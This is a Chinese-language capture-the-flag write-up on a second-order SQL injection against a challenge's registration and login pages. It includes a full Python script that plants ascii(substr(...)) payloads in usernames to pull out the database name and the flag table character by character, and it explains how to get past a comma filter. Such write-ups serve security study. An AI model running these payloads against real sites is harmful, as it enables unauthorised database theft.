先尝试万能注入:
如果万能注入缺少符号,如果加@符又进不去,那我们尝试扫描文件,然后发现有一个register.php的文件,应该是注册页面,我们去打开
知道存储的文件,并利用状态码进行过滤
我们注册的用户名就是aaa,可以看出它回显出来了,我们尝试从这个地方注入
测试发现过滤了逗号、information等,那么使用盲注应该不太行了
所以我们考虑用户名这里可能存在 二次注入 。
经过尝试,构造username=select database(),登录后显示用户名还是为select database(),说明后台代码可能把username用单引号引起来了,导致其无法显示。
因为题目中过滤掉了逗号,因此用from for来代替
ASCII码如下:
最后我们验证出数据库名为web
以下是我编写的python脚本,可以跑出数据库名称以及最终的flag
import requests
import time
from bs4 import BeautifulSoup #html解析器
def getDatabase():
database = ''
for i in range(10):
data_database = {
'username':"0'+ascii(substr((select database()) from "+str(i+1)+" for 1))+'0",
'password':'admin',
"email":"admin11@admin.com"+str(i)
}
#注册
requests.post("http://5aec7f20-ca5b-498d-b028-fa5950c9c5e7.node5.buuoj.cn:81/register.php",data_database)
login_data={
'password':'admin',
"email":"admin11@admin.com"+str(i)
}
response=requests.post("http://5aec7f20-ca5b-498d-b028-fa5950c9c5e7.node5.buuoj.cn:81/login.php",login_data)
html=response.text #返回的页面
soup=BeautifulSoup(html,'html.parser')
getUsername=soup.find_all('span')[0]#获取用户名
username=getUsername.text
if int(username)==0:
break
database+=chr(int(username))
return database
def getFlag():
flag = ''
for i in range(40):
data_flag = {
'username':"0'+ascii(substr((select * from flag) from "+str(i+1)+" for 1))+'0",
'password':'admin',
"email":"admin32@admin.com"+str(i)
}
#注册
requests.post("http://5aec7f20-ca5b-498d-b028-fa5950c9c5e7.node5.buuoj.cn:81/register.php",data_flag)
login_data={
'password':'admin',
"email":"admin32@admin.com"+str(i)
}
response=requests.post("http://5aec7f20-ca5b-498d-b028-fa5950c9c5e7.node5.buuoj.cn:81/login.php",login_data)
html=response.text #返回的页面
soup=BeautifulSoup(html,'html.parser')
getUsername=soup.find_all('span')[0]#获取用户名
username=getUsername.text
if int(username)==0:
break
flag+=chr(int(username))
return flag
print(getDatabase())
print(getFlag())
最终得到flag